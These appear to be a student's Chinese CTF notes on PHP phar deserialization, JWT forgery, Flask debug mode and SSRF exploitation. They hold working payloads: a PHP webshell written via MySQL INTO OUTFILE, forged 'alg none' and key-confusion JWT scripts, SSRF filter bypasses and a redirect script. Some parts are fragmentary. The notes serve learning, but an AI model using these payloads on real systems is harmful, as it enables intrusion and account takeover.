phar,全称为PHP Archive,phar扩展提供了一种将整个PHP应用程序放入.phar文件中的方法,以方便移动、安装。.phar文件的最大特点是将几个文件组合成一个文件的便捷方式,.phar文件提供了一种将完整的PHP程序分布在一个文件中并从该文件中运行的方法。
可以将phar文件类比为一个压缩文件
### phar怎么用
先搞一个flag.php
1 2 <?php echo "flag={afklglkadjgklda}";
然后
1 2 3 4 5 6 7 8 <?php $phar = new Phar ("flag.phar" );$phar ->buildFromDirectory ("./project" );$phar ->setStub ($phar ->createDefaultStub ("index.php" ,"flag.php" ));
### phar的反序列化
1 2 3 4 5 6 <?php //文件上传 //不让上传php int .htaccess //phar file_exists() 这时文件头可控的情况下,我们就可以触发phar协议,把它进行序列化 反序列化来触发
setmetadata会自动反序列化
试试phar反序列化,能否生成
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class hack { public function __destruct ( ) { echo "hack class" ; } } $h = new hack ();$phar = new Phar ('flag.phar' );$phar ->buildFromDirectory (dirname (__FILE__ ).'/project' );$phar ->setMetadata ($h );;$phar ->setStub ($phar ->createDefaultStub ('flag.php' ,'index.php' ));
可以看到析构方法执行
![image-20221024233641584](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221024233641584.png)
下一步,只是将index.php include.php 文件内容交换。就是让上面的代码成为首页
在include.里面写入。类比序列化之后的输出
1 2 3 4 5 6 7 8 9 <?php class hack { public function __destruct ( ) { echo "hack class" ; } } file_exists ("phar://flag.phar" );
![image-20221024234026650](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221024234026650.png)
可以找到phar反序列化的文件
![image-20221024234245478](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221024234245478.png)
将phar协议去掉就不行了
1 2 3 4 5 6 7 8 9 <?php class hack{ public function __destruct(){ echo "hack class"; } } file_exists("flag.phar");
下面是文件包含的情况,不需要Phar头,不仅执行里面的代码,还会制动反序列化类,还会执行类中的析构方法。
1 2 3 4 5 6 7 8 9 10 11 <?php ; class hack{ public function __destruct(){ echo "hack class"; } } //file_exists("phar://flag.phar"); include "flag.phar";
![image-20221024234545851](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221024234545851.png)
C源代码 1900行左右,nnd好像没有
1 https://github.com/php/php-src/blob/master/main/streams/streams.c
![image-20221024235652872](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221024235652872.png)
这时候将首页由index.php 换位index.txt,就可以通过phar序列化反序列化类。
![image-20221024235753994](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221024235753994.png)
![image-20221025000002875](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221025000002875.png)
这样也可以执行恶意类的销毁方法,还可以用highlight_file//file_get_contents
![image-20221024235917072](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221024235917072.png)
///
phar协议进行包含
1 include "phar://com.ctfshow.fileUtill.phar/file.php" ;
打包进去一个flag.php
用phar上传文件,正常抓包,发到重发器关闭拦截
改为POST,
![image-20221011224353656](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221011224353656.png)
右键**Paste from filem,**打开my.phar
![image-20221011224533565](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221011224533565.png)
看是否成功
2.00
# 9.0php专题
## 认识tphp
## tphp的漏洞
## tphp的漏洞
## 的反序列化
# JWT
https://baobao555.tech/archives/40#1.%E4%BB%80%E4%B9%88%E6%98%AFjwt
## JWT结构
JWT由3部分组成:标头(Header)、有效载荷(Payload)、签名(Signature)。在传输的时候,会将JWT的3部分分别进行Base64编码后用`.`进行连接形成最终传输的字符串
1 ewogICJhbGciOiAibm9uZSIsCiAgInR5cCI6ICJKV1QiCn0K.ewogICAgInN1YiI6ICIxMjM0NTY3ODkwIiwKICAgICJuYW1lIjogIkppbm11dSIsCiAgICAiYWRtaW4iOiB0cnVlCn0=.SE1BQ1NIQTI1NihiYXNlNjRVcmxFbmNvZGUoaGVhZGVyKSArICIuIiArIGJhc2U2NFVybEVuY29kZShwYXlsb2FkKSwgd2hvYW1pKQ==
### Header
`JWT头`是一个描述JWT数据的JSON对象,alg属性表示签名使用的算法,默认为HMAC SHA256(写为HS256);typ属性表示令牌的类型,JWT令牌统一写为JWT。最后,使用Base64 URL算法将上述JSON对象转换为字符串保存
1 2 3 4 { "alg" : "HS256" , "typ" : "JWT" }
### Payload
`有效载荷`部分,JWT的主体内容部分,也是一个`JSON对象`,包含需要传递的数据。JWT指定七个默认字段供选择
1 2 3 4 5 6 7 iss: 发行人 exp: 到期时间 sub: 主体 aud: 用户 nbf: 在此之前不可用 iat: 发布时间 jti: JWT ID用于标识该JWT
除以上默认字段外,我们还可以自定义私有字段,`一般会把包含用户信息的数据放到payload中`,如下例:
1 2 3 4 5 { "sub" : "1234567890" , "name" : "Jinmuu" , "admin" : true }
**注意要考**,默认情况下JWT是未加密的,因为只是采用base64算法,拿到JWT字符串后可以转换回原本的JSON数据,任何人都可以解读其内容,因此不要构建隐私信息字段,比如用户的密码一定不能保存到JWT中,以防止信息泄露。JWT只是适合在网络中传输一些非敏感的信息
### Signnature
`签名哈希`部分是对上面两部分数据签名,需要使用base64编码后的header和payload数据,通过指定的算法生成哈希,以确保数据不会被篡改。首先,需要指定一个密钥(secret)。该密码仅仅为保存在服务器中,并且不能向用户公开。然后,使用header中指定的签名算法(默认情况下为HMAC SHA256)根据以下公式生成签名
1 2 HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), whoami) HMACSHA256(base64UrlEncode(header)+"." +base64UrlEncode(payload), secret)
计算出签名哈希后;JWT头,有效载荷和签名哈希的三个部分组合成一个字符串,每个部分用`.`分割就构成了整个JWT对象
![image-20200912220832713](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20200912220832713.png)
注意JWT每部分的作用,在服务器端接受到客户端发送过来的JWT token之后:
`header`和`payload`可以直接利用base64就码出原文,从中获取哈希签名的算法,从`payload`中获取有效数据
`signature`由于使用了不可逆的加密算法,无法解码出原文,它的作用是**校验token有没有被篡改**。服务器端获取`header`中的加密算法之后,利用该算法加上`secretKey`对`header`,`payload`进行加密,比对加密都的数据和客户端发送过来的是否一致。注意`secretKey`只能保存在服务端,而且对于不同的加密算法其含义有所不同,一般对于MD5类型的摘要加密算法,`secretKey`实际上代表队是盐值
## JWT的种类
其实JWT(JSON Web Token)指的是一种规范,这种规范允许我们使用JWT在两个组织之间传递安全可靠的信息,JWT的具体实现可以分为以下几种:
1 2 3 nonsecure JWT:未经过签名,不安全的JWT JWS:经过签名的JWT JWE:payload部分经过加密的JWT
### nonsecure JWT
未经过签名,不安全的JWT。其header部分没有指定签名算法
1 2 3 4 { "alg" : "none" , "typ" : "JWT" }
并且也没有Signature部分
### JWS
JWS ,也就是JWT Signature,其结构就是在之前nonsecure JWT的基础上,在头部声明签名算法,并在最后添加上签名。创建签名,是保证jwt不能被他人随意篡改。我们通常使用的JWT一般都是JWS
为了完成签名,除了用到header信息和payload信息外,还需要算法的密钥,也就是secretKey。加密的算法一般有2类:
对称加密:secretKey指加密密钥,可以生成签名与验签
非对称加密:secretKey指私钥,只用来生成签名,不能用来验签(验签用的是公钥)
JWT的密钥或者密钥对,一般统一称为JSON Web Key,也就是JWK
到目前为止,jwt的签名算法有三种:
HMAC【哈希消息验证码(对称)】:HS256/HS384/HS512
RSASSA【RSA签名算法(非对称)】(RS256/RS384/RS512)
ECDSA【椭圆曲线数据签名算法(非对称)】(ES256/ES384/ES512)
### JWE
`payload`部分被加密
## JWT漏洞
### 空加密算法(nonsecure JWT)
jwt支持空加密算法,可以在header中指定alg为none,这样的花,只要把signature设置为空,即不添加signature字段提交到服务器,任何token都可以通过服务器验证
1 2 3 4 5 6 7 8 9 10 11 12 13 { "alg" : "None" , "typ" : "JWT" } { "iss" : "jinmu" , "iat" : 1664193697 , "exp" : 1664200897 , "nbf" : 1664193697 , "sub" : "admin" , "jti" : "fa2fb0a80953bd65a5dfe2afec06048e" , } 在两段编码中间用.隔开
1 ewogICJhbGciOiAiTm9uZSIsCiAgInR5cCI6ICJKV1QiCn0=.ewogICJpc3MiOiAiYWRtaW4iLAogICJpYXQiOiAxNjY3MjI0MjcwLAogICJleHAiOiAxNjY3MjMxNDcwLAogICJuYmYiOiAxNjY3MjI0MjcwLAogICJzdWIiOiAiYWRtaW4iLAogICJqdGkiOiAiOTMyODI0YWU0OTE5MTQ3NmIwNzRlMjllZGVjZjQzMzAiCn0=.
如果您想快速将 NumericDate 转换为日期,可以使用以下 PowerShell 命令执行此操作:
1 2 $numericDate = '1636027948' ([DateTime]('1970,1,1')).AddSeconds($numericDate)
空加密算法是为了调试方便,在生产环境中开启空加密模式,缺少签名保护,攻击者只要把alg字段改成none,就可以在payload中构造身份,伪造用户身份。
### 密码爆破
我们可以使用`c-jwt-cracker-master`进行JWT密钥爆破
### 私钥泄露攻击
这里访问`/private.key`就能任意文件下载私钥,但是我们尝试在官网是无法生成的,但是我们可以自己写脚本生成
这里就需要在本地安装node,然后`npm install jsonwebtoken`
1 2 3 4 5 6 7 8 9 const jwt = require("jsonwebtoken" );var fs = require("fs" );var privateKey = fs.readFileSync("private.key" );var token = jwt.sign({user:'admin' },privateKey,{algorithm:'RS256' });console.log(token);
### 公钥泄露攻击
jwt中最常用的两种算法为HMAC和RSA
HMAC是一种对称加密算法,使用相同的密钥进行加解密
RSA是一种非对称加密算法,使用私钥加密,公钥解密
在HMAC和RSA中,都使用私钥对signature字段进行签名,只有拿到了加密时使用的私钥,才有可能伪造token
密钥一般情况下是无法获取的,但是可以获取到公钥,我们可以将加密算法RSA改成HAMC,即将alg字段由RS256改成HS256,同时使用获取到的公钥作为算法的密钥,对token进行签名提交给服务端.服务器会将RSA的公钥作为当前算法(HMAC)的密钥,HMAC公钥和密钥相同,使用HS256算法会对接收到的签名进行验证。
1 2 3 4 5 6 7 8 9 const jwt = require("jsonwebtoken" );var fs = require("fs" );var privateKey = fs.readFileSync("public.key" );var token = jwt.sign({user:'admin' },privateKey,{algorithm:'HS256' });console.log(token);
但是这里要注意,我们在进行密钥攻击时,一定要用post方式![307afa51c5111551e222c88701a2f22](https://blog-1308152021.cos.ap-beijing.myqcloud.com/image/202209262229683.png)
# 题目
## 空加密
这里补一个知识点
使用URL访问页面时
/admin 表示访问admin.php文件#这里因为没有这个文件,在ctfshow平台被自动跳转到首页
![image-20221031220909392](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221031220909392.png)
/admin/表示访问admin /目录下的文件,默认是index.php
![image-20221031220822445](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221031220822445.png)
![image-20221031215515833](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221031215515833.png)
直接改为
1 2 3 4 { "alg": "None", "typ": "JWT" }
1 2 3 4 5 6 7 8 { "iss": "admin", "iat": 1667224270, "exp": 1667231470, "nbf": 1667224270, "sub": "admin", "jti": "932824ae49191476b074e29edecf4330" }
然后base64编码
## 密码爆破
就是对密钥进行猜测
![image-20221031215925174](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221031215925174.png)
modprobe kvm
## 私钥泄露
### 利用公钥私钥解密
访问/private.key /public.key
1 https://f86be22f-fd82-48a7-a764-23d8f76ecd98.challenge.ctf.show//private.key
### 利用私钥生成公钥
js脚本
1 2 3 4 5 6 7 8 9 const jwt = require("jsonwebtoken"); var fs = require("fs"); var privateKey = fs.readFileSync("private.key"); var token = jwt.sign({user:'admin'},privateKey,{algorithm:'RS256'}); console.log(token);
脚本
1 2 3 4 5 6 7 import jwtpublic = open ('private.key' , 'r' ).read() payload={"user" :"admin" } print (jwt.encode(payload, key=public, algorithm='RS256' ))eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.AH4YkjLWhtkoxco48abhQ7MUfxBgyfP3OffsS6cZmHtfLpVlv9t8bZAnW-CVbLkHfu4vzQI_OiPdBQP-a3xJIOq3hf0jsMAsijn-XKaaDZtv3cg4a0RvjpEHLYCN89KpigGHC0vtOb6OzffdmkPVN8vcYJby742vD_YhDDHw6pU
## 公钥泄露攻击
![image-20221101091552872](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221101091552872.png)
在HMAC和RSA中,都使用私钥对signature字段进行签名,只有拿到了,加密时的私钥才有可能伪造token。
密钥一般情况下是无法直接获取到的,但是如果可以获取到公钥
2.54.28
# XXE
![image-20221109174007978](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221109174007978.png)
1 2 3 4 5 6 7 8 9 from flask import Flaskapp = Flask(__name__) @app.route("/" ) def hello (): return "hello world" if __name__ == "__main__" : app.run()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 # 开发时间:2022/11/6 18:15 from flask import Flask from flask import request app = Flask(__name__) @app.route('/') def index(): return "Index Page" @app.route("/hello",methods=['POST']) def hello(): name = request.form['name'] return f'hello {name}' if __name__ == "__main__": app.run(host="0.0.0.0",port=80)
## flask调试模式
![image-20221109211603159](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221109211603159.png)
调试时可以访问/console
要PIN
![image-20221109211725653](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221109211725653.png)
这里有
![image-20221109211716323](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221109211716323.png)
flask静态文件
flask模板
# SSRF(服务器伪造请求)
有服务端发送
## ssrf基础
![image-20221119212127399](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221119212127399.png)
### SSRF的产生
SSRF是一种由攻击者构造形成,由服务daunt发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统(正是因为他有服务器端发起的,所以它能够请求到与他相连而与外网隔离的内部系统)
### SSRF的危害
1,可以对外网服务器所在的内网,某些情况下端口的Banner会回显出来。
2,攻击运行在内网或者本地的应用程序。
3,对内网web应用进行指纹识别。
4,攻击内外网的web应用。
5,利用file协议读取本地文件等。
## 危害与利用
### 端口扫描(不会)
对外网、服务器所在内网、本地、进行端口扫描
### 攻击内网、本地漏洞服务(不会)
攻击运行在内网或本地的应用程序(溢出、弱口令)
### 利用Gopher协议拓展攻击面
内网Web应用指纹识别、攻击漏洞应用
访问默认文件,对内网web应用进行指纹识别(框架,平台,模块以及CMS等 )
攻击内外网的web应用,主要是使用get参数就可以实现的攻击(如struts2,sqli等);
第一步,应用指纹识别---->第二步,寻找漏洞----->第三步,漏洞利用
### 文件读取
读取本地文件,利用file协议读取本地文件,提交参数等。
## 防护与绕过
### 防护
使用正则表达式的方式对SSRF中的请求地址进行过滤
eg:限制请求特定域名、禁止请求内网IP。
### 绕过
#### 方式一:使用特殊格式绕过
1 2 htttp://example.com@evil.com //ttt是特殊格式?
#### 方法二:IP地址转换为进制及IP地址省略绕过
原始:地址127.0.0.1
八进制:0177.00.00.01
十进制:2130706433
十六进制:0x7f.0x0.0x0.0x1
IP地址省略写法:127.1
#### 方法三:域名的配置
有可控域名A,将域名A记录指向欲请求的IP进行绕过操作
evil.example.com => 10.10.11.11
## 相关函数和类
- file_get_contents (): 将整个文件或一个 url 所指向的文件读入一个字符串中
- readfile (): 输出一个文件的内容
- fsockopen (): 打开一个网络连接或者一个 Unix 套接字连接
- curl_exec (): 初始化一个新的会话,返回一个 cURL 句柄,供 curl_setopt () curl_exec () 和 curl_close () 函数使用
- fopen (): 打开一个文件或者 url
- PHP 原生类 soapclient 在触发反序列化时可导致 ssrf
## 相关协议
file协议: 在有回显的情况下,利用file协议可以读取任意文件的内容
dict 协议:泄露安装软件版本信息,查看端口,操作内网任意端口访问相应的文件
gopher 协议:gopher支持发出get post 请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议,(俗称万能协议)可以用于反弹shell
http/s 协议:探测内网主机存活
## 利用方式
让服务端去访问相应的网址
让服务端取访问自己所出内网的一些指纹文件来判断是否存在相应的cms
可以使用file dict gopher ftp 协议进行请求访问相应的文件
攻击内网web应用(可以向内部任意主机的任意端口发送精心构造的数据包{payload})
攻击内网应用程序(利用跨协议通讯技术)
判断内网主机是否存活:方法是看是否有端口开放
Dos攻击(请求大文件,始终保持连接keep-alive-always)
**例题**![image-20221119220724707](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221119220724707.png)
![image-20221119220720129](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221119220720129.png)
首先会询问是反弹shell还是PHPshell,这里我们选PHPshell
要一个默认地址,我们直接默认就好回车
然后要一个payload,我们写入,并且给出了文件名/shell.php
然后给了我们payload我们可以取发包了,但是注意我们这里要进行二次编码,为什么呢?
1 因为他进行了两次解码,我们在发送到redis要经过一个服务器的转发,比如这里是nginx转发,在我们传输到nginx时就进行了一次url解码,再发送给redis时,又进行了一次解码,所以我们要进行两次编码.
攻击MYSQL 3306端口
MYSQL分为客户端和服务端,由客户端连接服务器有四种方式,分别是
unix套接字
内存共享
命令管道
TCP/IP套接字
我们进行攻击依靠第四种方式,Mysql客户端连接时,有两种情况:
里攻击MySQL要在非交互条件下进行,一定只能攻击没有密码的的MySQL服务端
这里我们写马要用MySQL语句写
1 python.exe ./Gopherus-master/gopherus.py --exploit mysql
1 select "<?php eval($_POST[1]);" into outfile '/var/www/html/1.php';
攻击fastcgi的9000端口
astcgi其实是一个通信协议,和http协议一样,都是进行数据交换的一个通道.http协议是浏览器和服务器中间件进行数据交换的协议,浏览器将http头和http体用某个规则组装成数据包,以tcp的方式发送到服务器中间件,服务器中间件按照规则将数据包解码,并按要求拿到用户需要的数据,再以http协议的规则打包返回给服务器.
可以使用伪造的fastcgi协议数据,与php-fpm交互,通过伪造script_filename的参数,来实现执行任意的PHP脚本文件
ssrf->控制服务端脚本请求本地php-fpm端口->伪造配置参数包含php://input数据->执行php://input内提交的代码
这里还是使用gopherus
ssrf的绕过
使用enclosed alphanumerics
绕过数字限制
1 2 ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
比如我们访问127.0.0.1可以访问
但是我没ping出来
IP地址有一些特殊的写法,在Windows下,0代表0.0.0.0,而在Linux下,0代表的是127.0.0.1
127.⓿.⓿.1
可以忽略0.0
.
IP地址进制绕过
IP地址可以转int也可以转不同进制来表示
比如我们使用这个http://www.tbfl.store/net/ip.html 来转一下127.0.0.1
这里我只有后面两个成功了
302跳转
这个没懂
需要一个vps,把302转换的代码部署到vps上,然后去访问,就可以跳转到内网中,比如302.php
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php $schema = $_GET['s']; $ip = $_GET['i']; $port = $_GET['p']; $query = $_GET['q']; if(empty($port)){ header("Location: $schema://$ip/$query"); }else{ header("Location: $schema://$ip:$port/$query"); }
如果服务器跟踪了location字段,就可以自动转向
短网址绕过
网上有很多转换短网址的工具随便百度一个就有
比如说http://charmersix.icu/
转换成http://jj6m.cn/e0fSu